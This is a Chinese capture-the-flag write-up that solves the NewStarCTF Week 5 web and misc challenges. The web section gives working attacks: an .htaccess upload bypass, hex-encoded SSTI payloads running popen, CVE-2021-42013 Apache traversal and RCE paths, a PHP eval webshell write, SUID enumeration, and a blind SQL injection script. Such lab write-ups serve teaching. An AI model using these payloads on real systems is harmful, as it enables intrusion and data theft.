BUUCTF NewStarCTF 公开赛赛道Week5 Writeup

news2024/11/19 5:53:16

文章目录

WEB
- Give me your photo PLZ
- BabySSTI_Three
- Unsafe Apache
- So Baby RCE Again
- Final round
MISC
- 最后的流量分析
- 奇怪的PDF 2
- 奇怪的文本
- Yesec no drumsticks 5
- qsdz's girlfriend 5

WEB

Give me your photo PLZ

可上传.htaccess

AddType application/x-httpd-php .jpg

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然后上传一个附加了一句话木马的图片，然后访问即可当作php文件解析

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BabySSTI_Three

之前用的是字符串逆序绕过，这里过滤了:，然后用十六进制绕过即可

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]
		res_payload += i
	print('[+]"{}" Convert to hex: "{}"'.format(payload,res_payload))

if __name__ == '__main__':
	payload = "__class__"
	hex_payload(payload)

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('id').read()}}

{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('tail${IFS}/fl*').read()}}

有了命令执行之后还需要有点绕过即可读取到flag

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Unsafe Apache

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这个版本有一个在CVE-2021-41773/Apache2.4.49 HTTP Server 路径穿越漏洞原漏洞修复不完整导致的CVE(CVE-2021-42013)

/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

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可命令执行

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

echo;ls -lha /

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So Baby RCE Again

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?cmd=ls -lha / > 1.txt

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SUID提权：find / -perm -u=s -type f 2>/dev/null > ./1.txt

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写入一句话木马

?cmd=echo '<?php @eval($_POST[7]); ?>' > mochu7.php

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蚁剑连接，date -f读取

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Final round

延时盲注

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直接脚本跑

import requests
import time

myurl = 'http://f7a282ac-9041-48a6-b86a-5bbe042f7035.node4.buuoj.cn:81/comments.php'
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0", 
             "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
             "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
             "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", 
             "Connection": "close", "Upgrade-Insecure-Requests": "1"}
content = ''
for pos in range(500):
    min_num = 32
    max_num = 126
    mid_num = (min_num + max_num) // 2
    while (min_num < max_num):
        payload = 'name=if(ord(mid((select(group_concat(text))from(wfy.wfy_comments)),{},1))>{},sleep(0.2),100)'.format(pos, mid_num)
        resp = requests.post(url=myurl, headers=myheaders, data=payload)
        resp_time = resp.elapsed.total_seconds()
        if resp_time > 2:
            min_num = mid_num + 1
        else:
            max_num = mid_num
        mid_num = ((min_num + max_num) // 2)
    content += chr(min_num)
    print(content)

延时盲注时间太长，不建议重0开始跑，可以根据之前的几周的这道题的flag具体在哪个位置开始跑，缩短时间

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MISC

最后的流量分析

简单的盲注流量分析

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当响应包的长度>765时，该条查询语句正确，tshark导出查询语句和查询正确的判断条件(包长度)

tshark -r sqli.pcap -T fields -Y "http.request.method==GET or frame.len>765" -e "frame.len" -e "http.request.uri.query.parameter" > data.txt

Python简单处理

from urllib.parse import *
import re

comment = ''
with open('data.txt') as f:
	lines = f.readlines()
	for i in range(len(lines)):
		if int(lines[i][:3])>765:
			comment += re.findall(r'"(.)"', unquote(lines[i-1]))[0]
print(comment)

PS C:\Users\Administrator\Downloads> python .\code.py
flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}

奇怪的PDF 2

strange2.pdf.lnk发现大量Base64

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Python脚本简单提取

with open('strange2.pdf.lnk', 'rb') as f:
	f.seek(0x8d8)
	with open('data.txt', 'wb') as f1:
		f1.write(f.read(0x160424-0x8d8))

提取之后发现有两行Base64，尝试解码了头部一段发现是.cab文件，且第一行的得到的.cab文件有点问题打不开，第二行的解码得到可以正常打开

from base64 import *

with open('data.txt') as f:
	lines = f.readlines()
	with open('2.cab', 'wb') as f1:
		f1.write(b64decode(lines[1]+'=='))

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选择一个文件夹提取出来即可，得到flag

flag{It_1s_a_fak3_but_r3al_PDF}

奇怪的文本

task.txt猜测字频

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alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()\_+-/={}[] "#所有正常打印字符
strings = open('./task.txt').read()#读取需要统计频数的文本

result = {}
for i in alphabet:
    counts = strings.count(i)
    i = '{0}'.format(i)
    result[i] = counts

res = sorted(result.items(), key=lambda item: item[1], reverse=True)
num = 0
for data in res:
    num += 1
    print('频数第{0}: {1}'.format(num, data))

print('\n---------------以下是频数从多到少的字符，按照从前到后排序---------------')
for i in res:
    flag = str(i[0])
    print(flag[0], end="")

---------------以下是频数从多到少的字符，按照从前到后排序---------------
flag{S0B48yCA}tipk91v[_bcdehjmnoqrsuwxzDEFGHIJKLMNOPQRTUVWXYZ23567!@#$%^&*()\+-/=]

Yesec no drumsticks 5

PS C:\Users\Administrator\Downloads\Yesec_no_drumsticks_5> git stash pop
On branch master
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   flag.txt

no changes added to commit (use "git add" and/or "git commit -a")
Dropped refs/stash@{0} (5d4b28bdf154e648d74e3836dd838beb77cec898)
PS C:\Users\Administrator\Downloads\Yesec_no_drumsticks_5> cat .\flag.txt
flag{Yesec#1s#c@ibi}